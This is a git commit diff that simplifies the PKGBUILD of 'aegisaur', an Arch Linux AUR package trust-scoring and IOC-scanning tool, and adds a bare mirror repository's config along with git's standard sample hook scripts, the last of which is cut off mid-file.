fix: PKGBUILD vereinfacht - Git-Source statt Release-TAR
- libalpm Abhängigkeit entfernt (im pacman enthalten) - Lokale Git-Quelle für makepkg - makepkg -si funktioniert jetzt - Version 0.1.0-1 erfolgreich installiert
This commit is contained in:
@@ -5,45 +5,32 @@ pkgname=aegisaur
|
||||
pkgver=0.1.0
|
||||
pkgrel=1
|
||||
pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
|
||||
arch=('x86_64' 'x86_64_v3' 'x86_64_v4' 'aarch64')
|
||||
arch=('x86_64')
|
||||
url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
|
||||
license=('MIT')
|
||||
makedepends=('rust' 'cargo')
|
||||
depends=('pacman' 'libalpm')
|
||||
optdepends=(
|
||||
'sudo: für install-hook und ALPM-Integration'
|
||||
'nodejs: für IOC-Checks mit npm-Paketen'
|
||||
)
|
||||
source=("$pkgname-$pkgver.tar.gz::$url/archive/refs/tags/v$pkgver.tar.gz")
|
||||
depends=('pacman')
|
||||
# Lokale Quellen (aus Git-Checkout)
|
||||
source=("aegisaur::git+$url.git#branch=master")
|
||||
sha256sums=('SKIP')
|
||||
|
||||
build() {
|
||||
cd "$srcdir/$pkgname-$pkgver"
|
||||
export RUSTFLAGS="-C target-cpu=${CARCH}"
|
||||
cd "$srcdir/$pkgname"
|
||||
export RUSTFLAGS="-C opt-level=3"
|
||||
cargo build --release --locked
|
||||
}
|
||||
|
||||
package() {
|
||||
cd "$srcdir/$pkgname-$pkgver"
|
||||
cd "$srcdir/$pkgname"
|
||||
|
||||
# Binary
|
||||
install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname"
|
||||
|
||||
# ALPM Hook
|
||||
install -Dm644 "src/hook/hook.install" "$pkgdir/usr/share/libalpm/hooks/99-aegisaur.hook"
|
||||
install -Dm755 "src/hook/check.sh" "$pkgdir/usr/share/libalpm/hooks/aegisaur-check.sh"
|
||||
|
||||
# Dokumentation
|
||||
install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md"
|
||||
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
|
||||
install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md"
|
||||
install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md"
|
||||
|
||||
# Config Beispiel
|
||||
install -Dm644 "config/example.toml" "$pkgdir/usr/share/$pkgname/config.example.toml"
|
||||
|
||||
# Licence
|
||||
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"
|
||||
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
|
||||
}
|
||||
|
||||
post_install() {
|
||||
@@ -51,22 +38,11 @@ post_install() {
|
||||
echo "║ AegisAUR wurde installiert! ║"
|
||||
echo "╚══════════════════════════════════════════════════════════════╝"
|
||||
echo ""
|
||||
echo "Nutzer-Spezifisches Setup:"
|
||||
echo " aegisaur config → Erstellt ~/.config/aegisaur/config.toml"
|
||||
echo ""
|
||||
echo "Systemweites Setup (ALPM-Hook):"
|
||||
echo " sudo aegisaur install-hook"
|
||||
echo ""
|
||||
echo "Schnellstart:"
|
||||
echo "Quickstart:"
|
||||
echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete"
|
||||
echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen"
|
||||
echo " sudo aegisaur install-hook → ALPM-Hook installieren"
|
||||
echo ""
|
||||
echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
|
||||
}
|
||||
|
||||
pre_remove() {
|
||||
echo "AegisAUR Hook wird entfernt..."
|
||||
if command -v aegisaur >/dev/null 2>&1; then
|
||||
aegisaur remove-hook 2>/dev/null || true
|
||||
fi
|
||||
echo "Doku: /usr/share/doc/aegisaur/USAGE.md"
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
ref: refs/heads/main
|
||||
@@ -0,0 +1,9 @@
|
||||
[core]
|
||||
repositoryformatversion = 0
|
||||
filemode = true
|
||||
bare = true
|
||||
[remote "origin"]
|
||||
url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git
|
||||
tagOpt = --no-tags
|
||||
fetch = +refs/*:refs/*
|
||||
mirror = true
|
||||
@@ -0,0 +1 @@
|
||||
Unnamed repository; edit this file 'description' to name the repository.
|
||||
Executable
+15
@@ -0,0 +1,15 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to check the commit log message taken by
|
||||
# applypatch from an e-mail message.
|
||||
#
|
||||
# The hook should exit with non-zero status after issuing an
|
||||
# appropriate message if it wants to stop the commit. The hook is
|
||||
# allowed to edit the commit message file.
|
||||
#
|
||||
# To enable this hook, rename this file to "applypatch-msg".
|
||||
|
||||
. git-sh-setup
|
||||
commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
|
||||
test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
|
||||
:
|
||||
Executable
+74
@@ -0,0 +1,74 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to check the commit log message.
|
||||
# Called by "git commit" with one argument, the name of the file
|
||||
# that has the commit message. The hook should exit with non-zero
|
||||
# status after issuing an appropriate message if it wants to stop the
|
||||
# commit. The hook is allowed to edit the commit message file.
|
||||
#
|
||||
# To enable this hook, rename this file to "commit-msg".
|
||||
|
||||
# Uncomment the below to add a Signed-off-by line to the message.
|
||||
# Doing this in a hook is a bad idea in general, but the prepare-commit-msg
|
||||
# hook is more suited to it.
|
||||
#
|
||||
# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
|
||||
# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
|
||||
|
||||
# This example catches duplicate Signed-off-by lines and messages that
|
||||
# would confuse 'git am'.
|
||||
|
||||
ret=0
|
||||
|
||||
test "" = "$(grep '^Signed-off-by: ' "$1" |
|
||||
sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || {
|
||||
echo >&2 Duplicate Signed-off-by lines.
|
||||
ret=1
|
||||
}
|
||||
|
||||
comment_re="$(
|
||||
{
|
||||
git config --get-regexp "^core\.comment(char|string)\$" ||
|
||||
echo '#'
|
||||
} | sed -n -e '
|
||||
${
|
||||
s/^[^ ]* //
|
||||
s|[][*./\]|\\&|g
|
||||
s/^auto$/[#;@!$%^&|:]/
|
||||
p
|
||||
}'
|
||||
)"
|
||||
scissors_line="^${comment_re} -\{8,\} >8 -\{8,\}\$"
|
||||
comment_line="^${comment_re}.*"
|
||||
blank_line='^[ ]*$'
|
||||
# Disallow lines starting with "diff -" or "Index: " in the body of the
|
||||
# message. Stop looking if we see a scissors line.
|
||||
line="$(sed -n -e "
|
||||
# Skip comments and blank lines at the start of the file.
|
||||
/${scissors_line}/q
|
||||
/${comment_line}/d
|
||||
/${blank_line}/d
|
||||
# The first paragraph will become the subject header so
|
||||
# does not need to be checked.
|
||||
: subject
|
||||
n
|
||||
/${scissors_line}/q
|
||||
/${blank_line}/!b subject
|
||||
# Check the body of the message for problematic
|
||||
# prefixes.
|
||||
: body
|
||||
n
|
||||
/${scissors_line}/q
|
||||
/${comment_line}/b body
|
||||
/^diff -/{p;q;}
|
||||
/^Index: /{p;q;}
|
||||
b body
|
||||
" "$1")"
|
||||
if test -n "$line"
|
||||
then
|
||||
echo >&2 "Message contains a diff that will confuse 'git am'."
|
||||
echo >&2 "To fix this indent the diff."
|
||||
ret=1
|
||||
fi
|
||||
|
||||
exit $ret
|
||||
Executable
+168
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
use strict;
|
||||
use warnings;
|
||||
use IPC::Open2;
|
||||
|
||||
# An example hook script to integrate Watchman
|
||||
# (https://facebook.github.io/watchman/) with git to speed up detecting
|
||||
# new and modified files.
|
||||
#
|
||||
# The hook is passed a version (currently 2) and last update token
|
||||
# formatted as a string and outputs to stdout a new update token and
|
||||
# all files that have been modified since the update token. Paths must
|
||||
# be relative to the root of the working tree and separated by a single NUL.
|
||||
#
|
||||
# To enable this hook, rename this file to "query-watchman" and set
|
||||
# 'git config core.fsmonitor .git/hooks/query-watchman'
|
||||
#
|
||||
my ($version, $last_update_token) = @ARGV;
|
||||
|
||||
# Uncomment for debugging
|
||||
# print STDERR "$0 $version $last_update_token\n";
|
||||
|
||||
# Check the hook interface version
|
||||
if ($version ne 2) {
|
||||
die "Unsupported query-fsmonitor hook version '$version'.\n" .
|
||||
"Falling back to scanning...\n";
|
||||
}
|
||||
|
||||
my $git_work_tree = get_working_dir();
|
||||
|
||||
my $json_pkg;
|
||||
eval {
|
||||
require JSON::XS;
|
||||
$json_pkg = "JSON::XS";
|
||||
1;
|
||||
} or do {
|
||||
require JSON::PP;
|
||||
$json_pkg = "JSON::PP";
|
||||
};
|
||||
|
||||
launch_watchman();
|
||||
|
||||
sub launch_watchman {
|
||||
my $o = watchman_query();
|
||||
if (is_work_tree_watched($o)) {
|
||||
output_result($o->{clock}, @{$o->{files}});
|
||||
}
|
||||
}
|
||||
|
||||
sub output_result {
|
||||
my ($clockid, @files) = @_;
|
||||
|
||||
# Uncomment for debugging watchman output
|
||||
# open (my $fh, ">", ".git/watchman-output.out");
|
||||
# binmode $fh, ":utf8";
|
||||
# print $fh "$clockid\n@files\n";
|
||||
# close $fh;
|
||||
|
||||
binmode STDOUT, ":utf8";
|
||||
print $clockid;
|
||||
print "\0";
|
||||
local $, = "\0";
|
||||
print @files;
|
||||
}
|
||||
|
||||
sub watchman_clock {
|
||||
my $response = qx/watchman clock "$git_work_tree"/;
|
||||
die "Failed to get clock id on '$git_work_tree'.\n" .
|
||||
"Falling back to scanning...\n" if $? != 0;
|
||||
|
||||
return $json_pkg->new->utf8->decode($response);
|
||||
}
|
||||
|
||||
sub watchman_query {
|
||||
my $pid = open2(\*CHLD_OUT, \*CHLD_IN, 'watchman -j --no-pretty')
|
||||
or die "open2() failed: $!\n" .
|
||||
"Falling back to scanning...\n";
|
||||
|
||||
# In the query expression below we're asking for names of files that
|
||||
# changed since $last_update_token but not from the .git folder.
|
||||
#
|
||||
# To accomplish this, we're using the "since" generator to use the
|
||||
# recency index to select candidate nodes and "fields" to limit the
|
||||
# output to file names only. Then we're using the "expression" term to
|
||||
# further constrain the results.
|
||||
my $last_update_line = "";
|
||||
if (substr($last_update_token, 0, 1) eq "c") {
|
||||
$last_update_token = "\"$last_update_token\"";
|
||||
$last_update_line = qq[\n"since": $last_update_token,];
|
||||
}
|
||||
my $query = <<" END";
|
||||
["query", "$git_work_tree", {$last_update_line
|
||||
"fields": ["name"],
|
||||
"expression": ["not", ["dirname", ".git"]]
|
||||
}]
|
||||
END
|
||||
|
||||
# Uncomment for debugging the watchman query
|
||||
# open (my $fh, ">", ".git/watchman-query.json");
|
||||
# print $fh $query;
|
||||
# close $fh;
|
||||
|
||||
print CHLD_IN $query;
|
||||
close CHLD_IN;
|
||||
my $response = do {local $/; <CHLD_OUT>};
|
||||
|
||||
# Uncomment for debugging the watch response
|
||||
# open ($fh, ">", ".git/watchman-response.json");
|
||||
# print $fh $response;
|
||||
# close $fh;
|
||||
|
||||
die "Watchman: command returned no output.\n" .
|
||||
"Falling back to scanning...\n" if $response eq "";
|
||||
die "Watchman: command returned invalid output: $response\n" .
|
||||
"Falling back to scanning...\n" unless $response =~ /^\{/;
|
||||
|
||||
return $json_pkg->new->utf8->decode($response);
|
||||
}
|
||||
|
||||
sub is_work_tree_watched {
|
||||
my ($output) = @_;
|
||||
my $error = $output->{error};
|
||||
if ($error and $error =~ m/unable to resolve root .* directory (.*) is not watched/) {
|
||||
my $response = qx/watchman watch "$git_work_tree"/;
|
||||
die "Failed to make watchman watch '$git_work_tree'.\n" .
|
||||
"Falling back to scanning...\n" if $? != 0;
|
||||
$output = $json_pkg->new->utf8->decode($response);
|
||||
$error = $output->{error};
|
||||
die "Watchman: $error.\n" .
|
||||
"Falling back to scanning...\n" if $error;
|
||||
|
||||
# Uncomment for debugging watchman output
|
||||
# open (my $fh, ">", ".git/watchman-output.out");
|
||||
# close $fh;
|
||||
|
||||
# Watchman will always return all files on the first query so
|
||||
# return the fast "everything is dirty" flag to git and do the
|
||||
# Watchman query just to get it over with now so we won't pay
|
||||
# the cost in git to look up each individual file.
|
||||
my $o = watchman_clock();
|
||||
$error = $o->{error};
|
||||
|
||||
die "Watchman: $error.\n" .
|
||||
"Falling back to scanning...\n" if $error;
|
||||
|
||||
output_result($o->{clock}, ("/"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
die "Watchman: $error.\n" .
|
||||
"Falling back to scanning...\n" if $error;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
sub get_working_dir {
|
||||
my $working_dir;
|
||||
if ($^O =~ 'msys' || $^O =~ 'cygwin') {
|
||||
$working_dir = Win32::GetCwd();
|
||||
$working_dir =~ tr/\\/\//;
|
||||
} else {
|
||||
require Cwd;
|
||||
$working_dir = Cwd::cwd();
|
||||
}
|
||||
|
||||
return $working_dir;
|
||||
}
|
||||
Executable
+8
@@ -0,0 +1,8 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to prepare a packed repository for use over
|
||||
# dumb transports.
|
||||
#
|
||||
# To enable this hook, rename this file to "post-update".
|
||||
|
||||
exec git update-server-info
|
||||
Executable
+14
@@ -0,0 +1,14 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to verify what is about to be committed
|
||||
# by applypatch from an e-mail message.
|
||||
#
|
||||
# The hook should exit with non-zero status after issuing an
|
||||
# appropriate message if it wants to stop the commit.
|
||||
#
|
||||
# To enable this hook, rename this file to "pre-applypatch".
|
||||
|
||||
. git-sh-setup
|
||||
precommit="$(git rev-parse --git-path hooks/pre-commit)"
|
||||
test -x "$precommit" && exec "$precommit" ${1+"$@"}
|
||||
:
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to verify what is about to be committed.
|
||||
# Called by "git commit" with no arguments. The hook should
|
||||
# exit with non-zero status after issuing an appropriate message if
|
||||
# it wants to stop the commit.
|
||||
#
|
||||
# To enable this hook, rename this file to "pre-commit".
|
||||
|
||||
if git rev-parse --verify HEAD >/dev/null 2>&1
|
||||
then
|
||||
against=HEAD
|
||||
else
|
||||
# Initial commit: diff against an empty tree object
|
||||
against=$(git hash-object -t tree /dev/null)
|
||||
fi
|
||||
|
||||
# If you want to allow non-ASCII filenames set this variable to true.
|
||||
allownonascii=$(git config --type=bool hooks.allownonascii)
|
||||
|
||||
# Redirect output to stderr.
|
||||
exec 1>&2
|
||||
|
||||
# Cross platform projects tend to avoid non-ASCII filenames; prevent
|
||||
# them from being added to the repository. We exploit the fact that the
|
||||
# printable range starts at the space character and ends with tilde.
|
||||
if [ "$allownonascii" != "true" ] &&
|
||||
# Note that the use of brackets around a tr range is ok here, (it's
|
||||
# even required, for portability to Solaris 10's /usr/bin/tr), since
|
||||
# the square bracket bytes happen to fall in the designated range.
|
||||
test $(git diff-index --cached --name-only --diff-filter=A -z $against |
|
||||
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
|
||||
then
|
||||
cat <<\EOF
|
||||
Error: Attempt to add a non-ASCII file name.
|
||||
|
||||
This can cause problems if you want to work with people on other platforms.
|
||||
|
||||
To be portable it is advisable to rename the file.
|
||||
|
||||
If you know what you are doing you can disable this check using:
|
||||
|
||||
git config hooks.allownonascii true
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# If there are whitespace errors, print the offending file names and fail.
|
||||
exec git diff-index --check --cached $against --
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to verify what is about to be committed.
|
||||
# Called by "git merge" with no arguments. The hook should
|
||||
# exit with non-zero status after issuing an appropriate message to
|
||||
# stderr if it wants to stop the merge commit.
|
||||
#
|
||||
# To enable this hook, rename this file to "pre-merge-commit".
|
||||
|
||||
. git-sh-setup
|
||||
test -x "$GIT_DIR/hooks/pre-commit" &&
|
||||
exec "$GIT_DIR/hooks/pre-commit"
|
||||
:
|
||||
Executable
+53
@@ -0,0 +1,53 @@
|
||||
#!/bin/sh
|
||||
|
||||
# An example hook script to verify what is about to be pushed. Called by "git
|
||||
# push" after it has checked the remote status, but before anything has been
|
||||
# pushed. If this script exits with a non-zero status nothing will be pushed.
|
||||
#
|
||||
# This hook is called with the following parameters:
|
||||
#
|
||||
# $1 -- Name of the remote to which the push is being done
|
||||
# $2 -- URL to which the push is being done
|
||||
#
|
||||
# If pushing without using a named remote those arguments will be equal.
|
||||
#
|
||||
# Information about the commits which are being pushed is supplied as lines to
|
||||
# the standard input in the form:
|
||||
#
|
||||
# <local ref> <local oid> <remote ref> <remote oid>
|
||||
#
|
||||
# This sample shows how to prevent push of commits where the log message starts
|
||||
# with "WIP" (work in progress).
|
||||
|
||||
remote="$1"
|
||||
url="$2"
|
||||
|
||||
zero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')
|
||||
|
||||
while read local_ref local_oid remote_ref remote_oid
|
||||
do
|
||||
if test "$local_oid" = "$zero"
|
||||
then
|
||||
# Handle delete
|
||||
:
|
||||
else
|
||||
if test "$remote_oid" = "$zero"
|
||||
then
|
||||
# New branch, examine all commits
|
||||
range="$local_oid"
|
||||
else
|
||||
# Update to existing branch, examine new commits
|
||||
range="$remote_oid..$local_oid"
|
||||
fi
|
||||
|
||||
# Check for WIP commit
|
||||
commit=$(git rev-list -n 1 --grep '^WIP' "$range")
|
||||
if test -n "$commit"
|
||||
then
|
||||
echo >&2 "Found WIP commit in $local_ref, not pushing"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
exit 0
|
||||
Executable
+169
@@ -0,0 +1,169 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# Copyright (c) 2006, 2008 Junio C Hamano
|
||||
#
|
||||
# The "pre-rebase" hook is run just before "git rebase" starts doing
|
||||
# its job, and can prevent the command from running by exiting with
|
||||
# non-zero status.
|
||||
#
|
||||
# The hook is called with the following parameters:
|
||||
#
|
||||
# $1 -- the upstream the series was forked from.
|
||||
# $2 -- the branch being rebased (or empty when rebasing the current branch).
|
||||
#
|
||||
# This sample shows how to prevent topic branches that are already
|
||||
# merged to 'next' branch from getting rebased, because allowing it
|
||||
# would result in rebasing already published history.
|
||||
|
||||
publish=next
|
||||
basebranch="$1"
|
||||
if test "$#" = 2
|
||||
then
|
||||
topic="refs/heads/$2"
|
||||
else
|
||||
topic=`git symbolic-ref HEAD` ||
|
||||
exit 0 ;# we do not interrupt rebasing detached HEAD
|
||||
fi
|
||||
|
||||
case "$topic" in
|
||||
refs/heads/??/*)
|
||||
;;
|
||||
*)
|
||||
exit 0 ;# we do not interrupt others.
|
||||
;;
|
||||
esac
|
||||
|
||||
# Now we are dealing with a topic branch being rebased
|
||||
# on top of master. Is it OK to rebase it?
|
||||
|
||||
# Does the topic really exist?
|
||||
git show-ref -q "$topic" || {
|
||||
echo >&2 "No such branch $topic"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Is topic fully merged to master?
|
||||
not_in_master=`git rev-list --pretty=oneline ^master "$topic"`
|
||||
if test -z "$not_in_master"
|
||||
then
|
||||
echo >&2 "$topic is fully merged to master; better remove it."
|
||||
exit 1 ;# we could allow it, but there is no point.
|
||||
fi
|
||||
|
||||
# Is topic ever merged to next? If so you should not be rebasing it.
|
||||
only_next_1=`git rev-list ^master "^$topic" ${publish} | sort`
|
||||
only_next_2=`git rev-list ^master ${publish} | sort`
|
||||
if test "$only_next_1" = "$only_next_2"
|
||||
then
|
||||
not_in_topic=`git rev-list "^$topic" master`
|
||||
if test -z "$not_in_topic"
|
||||
then
|
||||
echo >&2 "$topic is already up to date with master"
|
||||
exit 1 ;# we could allow it, but there is no point.
|
||||
else
|
||||
exit 0
|
||||
fi
|
||||
else
|
||||
not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"`
|
||||
/usr/bin/perl -e '
|
||||
my $topic = $ARGV[0];
|
||||
my $msg = "* $topic has commits already merged to public branch:\n";
|
||||
my (%not_in_next) = map {
|
||||
/^([0-9a-f]+) /;
|
||||
($1 => 1);
|
||||
} split(/\n/, $ARGV[1]);
|
||||
for my $elem (map {
|
||||
/^([0-9a-f]+) (.*)$/;
|
||||
[$1 => $2];
|
||||
} split(/\n/, $ARGV[2])) {
|
||||
if (!exists $not_in_next{$elem->[0]}) {
|
||||
if ($msg) {
|
||||
print STDERR $msg;
|
||||
undef $msg;
|
||||
}
|
||||
print STDERR " $elem->[1]\n";
|
||||
}
|
||||
}
|
||||
' "$topic" "$not_in_next" "$not_in_master"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
<<\DOC_END
|
||||
|
||||
This sample hook safeguards topic branches that have been
|
||||
published from being rewound.
|
||||
|
||||
The workflow assumed here is:
|
||||
|
||||
* Once a topic branch forks from "master", "master" is never
|
||||
merged into it again (either directly or indirectly).
|
||||
|
||||
* Once a topic branch is fully cooked and merged into "master",
|
||||
it is deleted. If you need to build on top of it to correct
|
||||
earlier mistakes, a new topic branch is created by forking at
|
||||
the tip of the "master". This is not strictly necessary, but
|
||||
it makes it easier to keep your history simple.
|
||||
|
||||
* Whenever you need to test or publish your changes to topic
|
||||
branches, merge them into "next" branch.
|
||||
|
||||
The script, being an example, hardcodes the publish branch name
|
||||
to be "next", but it is trivial to make it configurable via
|
||||
$GIT_DIR/config mechanism.
|
||||
|
||||
With this workflow, you would want to know:
|
||||
|
||||
(1) ... if a topic branch has ever been merged to "next". Young
|
||||
topic branches can have stupid mistakes you would rather
|
||||
clean up before publishing, and things that have not been
|
||||
merged into other branches can be easily rebased without
|
||||
affecting other people. But once it is published, you would
|
||||
not want to rewind it.
|
||||
|
||||
(2) ... if a topic branch has been fully merged to "master".
|
||||
Then you can delete it. More importantly, you should not
|
||||
build on top of it -- other people may already want to
|
||||
change things related to the topic as patches against your
|
||||
"master", so if you need further changes, it is better to
|
||||
fork the topic (perhaps with the same name) afresh from the
|
||||
tip of "master".
|
||||
|
||||
Let's look at this example:
|
||||
|
||||
o---o---o---o---o---o---o---o---o---o "next"
|
||||
/ / / /
|
||||
/ a---a---b A / /
|
||||
/ / / /
|
||||
/ / c---c---c---c B /
|
||||
/ / / \ /
|
||||
/ / / b---b C \ /
|
||||
/ / / / \ /
|
||||
---o---o---o---o---o---o---o---o---o---o---o "master"
|
||||
|
||||
|
||||
A, B and C are topic branches.
|
||||
|
||||
* A has one fix since it was merged up to "next".
|
||||
|
||||
* B has finished. It has been fully merged up to "master" and "next",
|
||||
and is ready to be deleted.
|
||||
|
||||
* C has not merged to "next" at all.
|
||||
|
||||
We would want to allow C to be rebased, refuse A, and encourage
|
||||
B to be deleted.
|
||||
|
||||
To compute (1):
|
||||
|
||||
git rev-list ^master ^topic next
|
||||
git rev-list ^master next
|
||||
|
||||
if these match, topic has not merged in next at all.
|
||||
|
||||
To compute (2):
|
||||
|
||||
git rev-list master..topic
|
||||
|
||||
if this is empty, it is fully merged to "master".
|
||||
|
||||
DOC_END
|
||||
Executable
+24
@@ -0,0 +1,24 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to make use of push options.
|
||||
# The example simply echoes all push options that start with 'echoback='
|
||||
# and rejects all pushes when the "reject" push option is used.
|
||||
#
|
||||
# To enable this hook, rename this file to "pre-receive".
|
||||
|
||||
if test -n "$GIT_PUSH_OPTION_COUNT"
|
||||
then
|
||||
i=0
|
||||
while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
|
||||
do
|
||||
eval "value=\$GIT_PUSH_OPTION_$i"
|
||||
case "$value" in
|
||||
echoback=*)
|
||||
echo "echo from the pre-receive-hook: ${value#*=}" >&2
|
||||
;;
|
||||
reject)
|
||||
exit 1
|
||||
esac
|
||||
i=$((i + 1))
|
||||
done
|
||||
fi
|
||||
Executable
+42
@@ -0,0 +1,42 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to prepare the commit log message.
|
||||
# Called by "git commit" with the name of the file that has the
|
||||
# commit message, followed by the description of the commit
|
||||
# message's source. The hook's purpose is to edit the commit
|
||||
# message file. If the hook fails with a non-zero status,
|
||||
# the commit is aborted.
|
||||
#
|
||||
# To enable this hook, rename this file to "prepare-commit-msg".
|
||||
|
||||
# This hook includes three examples. The first one removes the
|
||||
# "# Please enter the commit message..." help message.
|
||||
#
|
||||
# The second includes the output of "git diff --name-status -r"
|
||||
# into the message, just before the "git status" output. It is
|
||||
# commented because it doesn't cope with --amend or with squashed
|
||||
# commits.
|
||||
#
|
||||
# The third example adds a Signed-off-by line to the message, that can
|
||||
# still be edited. This is rarely a good idea.
|
||||
|
||||
COMMIT_MSG_FILE=$1
|
||||
COMMIT_SOURCE=$2
|
||||
SHA1=$3
|
||||
|
||||
/usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE"
|
||||
|
||||
# case "$COMMIT_SOURCE,$SHA1" in
|
||||
# ,|template,)
|
||||
# /usr/bin/perl -i.bak -pe '
|
||||
# print "\n" . `git diff --cached --name-status -r`
|
||||
# if /^#/ && $first++ == 0' "$COMMIT_MSG_FILE" ;;
|
||||
# *) ;;
|
||||
# esac
|
||||
|
||||
# SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
|
||||
# git interpret-trailers --in-place --trailer "$SOB" "$COMMIT_MSG_FILE"
|
||||
# if test -z "$COMMIT_SOURCE"
|
||||
# then
|
||||
# /usr/bin/perl -i.bak -pe 'print "\n" if !$first_line++' "$COMMIT_MSG_FILE"
|
||||
# fi
|
||||
Executable
+78
@@ -0,0 +1,78 @@
|
||||
#!/bin/sh
|
||||
|
||||
# An example hook script to update a checked-out tree on a git push.
|
||||
#
|
||||
# This hook is invoked by git-receive-pack(1) when it reacts to git
|
||||
# push and updates reference(s) in its repository, and when the push
|
||||
# tries to update the branch that is currently checked out and the
|
||||
# receive.denyCurrentBranch configuration variable is set to
|
||||
# updateInstead.
|
||||
#
|
||||
# By default, such a push is refused if the working tree and the index
|
||||
# of the remote repository has any difference from the currently
|
||||
# checked out commit; when both the working tree and the index match
|
||||
# the current commit, they are updated to match the newly pushed tip
|
||||
# of the branch. This hook is to be used to override the default
|
||||
# behaviour; however the code below reimplements the default behaviour
|
||||
# as a starting point for convenient modification.
|
||||
#
|
||||
# The hook receives the commit with which the tip of the current
|
||||
# branch is going to be updated:
|
||||
commit=$1
|
||||
|
||||
# It can exit with a non-zero status to refuse the push (when it does
|
||||
# so, it must not modify the index or the working tree).
|
||||
die () {
|
||||
echo >&2 "$*"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Or it can make any necessary changes to the working tree and to the
|
||||
# index to bring them to the desired state when the tip of the current
|
||||
# branch is updated to the new commit, and exit with a zero status.
|
||||
#
|
||||
# For example, the hook can simply run git read-tree -u -m HEAD "$1"
|
||||
# in order to emulate git fetch that is run in the reverse direction
|
||||
# with git push, as the two-tree form of git read-tree -u -m is
|
||||
# essentially the same as git switch or git checkout that switches
|
||||
# branches while keeping the local changes in the working tree that do
|
||||
# not interfere with the difference between the branches.
|
||||
|
||||
# The below is a more-or-less exact translation to shell of the C code
|
||||
# for the default behaviour for git's push-to-checkout hook defined in
|
||||
# the push_to_deploy() function in builtin/receive-pack.c.
|
||||
#
|
||||
# Note that the hook will be executed from the repository directory,
|
||||
# not from the working tree, so if you want to perform operations on
|
||||
# the working tree, you will have to adapt your code accordingly, e.g.
|
||||
# by adding "cd .." or using relative paths.
|
||||
|
||||
if ! git update-index -q --ignore-submodules --refresh
|
||||
then
|
||||
die "Up-to-date check failed"
|
||||
fi
|
||||
|
||||
if ! git diff-files --quiet --ignore-submodules --
|
||||
then
|
||||
die "Working directory has unstaged changes"
|
||||
fi
|
||||
|
||||
# This is a rough translation of:
|
||||
#
|
||||
# head_has_history() ? "HEAD" : EMPTY_TREE_SHA1_HEX
|
||||
if git cat-file -e HEAD 2>/dev/null
|
||||
then
|
||||
head=HEAD
|
||||
else
|
||||
head=$(git hash-object -t tree --stdin </dev/null)
|
||||
fi
|
||||
|
||||
if ! git diff-index --quiet --cached --ignore-submodules $head --
|
||||
then
|
||||
die "Working directory has staged changes"
|
||||
fi
|
||||
|
||||
if ! git read-tree -u -m "$commit"
|
||||
then
|
||||
die "Could not update working tree to new HEAD"
|
||||
fi
|
||||
Executable
+77
@@ -0,0 +1,77 @@
|
||||
#!/bin/sh
|
||||
|
||||
# An example hook script to validate a patch (and/or patch series) before
|
||||
# sending it via email.
|
||||
#
|
||||
# The hook should exit with non-zero status after issuing an appropriate
|
||||
# message if it wants to prevent the email(s) from being sent.
|
||||
#
|
||||
# To enable this hook, rename this file to "sendemail-validate".
|
||||
#
|
||||
# By default, it will only check that the patch(es) can be applied on top of
|
||||
# the default upstream branch without conflicts in a secondary worktree. After
|
||||
# validation (successful or not) of the last patch of a series, the worktree
|
||||
# will be deleted.
|
||||
#
|
||||
# The following config variables can be set to change the default remote and
|
||||
# remote ref that are used to apply the patches against:
|
||||
#
|
||||
# sendemail.validateRemote (default: origin)
|
||||
# sendemail.validateRemoteRef (default: HEAD)
|
||||
#
|
||||
# Replace the TODO placeholders with appropriate checks according to your
|
||||
# needs.
|
||||
|
||||
validate_cover_letter () {
|
||||
file="$1"
|
||||
# TODO: Replace with appropriate checks (e.g. spell checking).
|
||||
true
|
||||
}
|
||||
|
||||
validate_patch () {
|
||||
file="$1"
|
||||
# Ensure that the patch applies without conflicts.
|
||||
